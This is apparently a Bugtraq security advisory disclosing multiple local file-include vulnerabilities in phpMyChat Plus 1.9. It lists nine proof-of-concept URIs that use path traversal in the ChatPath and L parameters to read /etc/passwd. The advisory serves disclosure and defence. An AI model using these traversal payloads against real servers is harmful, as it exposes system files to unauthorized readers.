PHPMyChat Plus Multiple Local File Include Vulnerabilities

Bugtraq ID:	20972
Class:	Input Validation Error
CVE:
Remote:	Yes
Local:	No
Published:	Nov 08 2006 12:00AM
Updated:	Nov 08 2006 12:00AM
Credit:	ajann is credited with the discovery of these vulnerabilities.
Vulnerable:	phpMyChat phpMyChat Plus 1.9
Not Vulnerable:

PHPMyChat Plus Multiple Local File Include Vulnerabilities

phpMyChat is prone to multiple local file-include vulnerabilities because it fails to properly sanitize user-supplied input.

Exploiting these issues may allow an unauthorized user to view files and execute local scripts.

phpMyChat Plus 1.9 and prior versions are vulnerable to these issues; other versions may also be affected.

PHPMyChat Plus Multiple Local File Include Vulnerabilities

Attackers can exploit these issues via a web client.

The following proof-of-concept URIs are available:

http://www.example.com/path/avatar.php?ChatPath=../../etc/passwd
http://www.example.com/path/colorhelp_popup.php?ChatPath=../../etc/passwd
http://www.example.com/path/color_popup.php?ChatPath=../../etc/passwd
http://www.example.com/index.php?ChatPath=../../etc/passwd
http://www.example.com/path/lib/connected_users.lib.php?ChatPath=../../etc/passwd
http://www.example.com/path/avatar.php?ChatPath=../../etc/passwd
http://www.example.com/path/lib/index.lib.php?ChatPath=../../etc/passwd
http://www.example.com/path/logs.php?L=../../etc/passwd
http://www.example.com/path/phpMyChat.php3?ChatPath=../../etc/passwd

PHPMyChat Plus Multiple Local File Include Vulnerabilities

Solution:
Currently we are not aware of any vendor-supplied patches for these issues. If you feel we are in error or if you are aware of more recent information, please mail us at: [email protected].

PHPMyChat Plus Multiple Local File Include Vulnerabilities

References:

• PhpMyChat Plus <= 1.9 Multiple Source Code Disclosure Vulnerabilities ([email protected])
  
• phpMyChat Web Site (phpMyChat)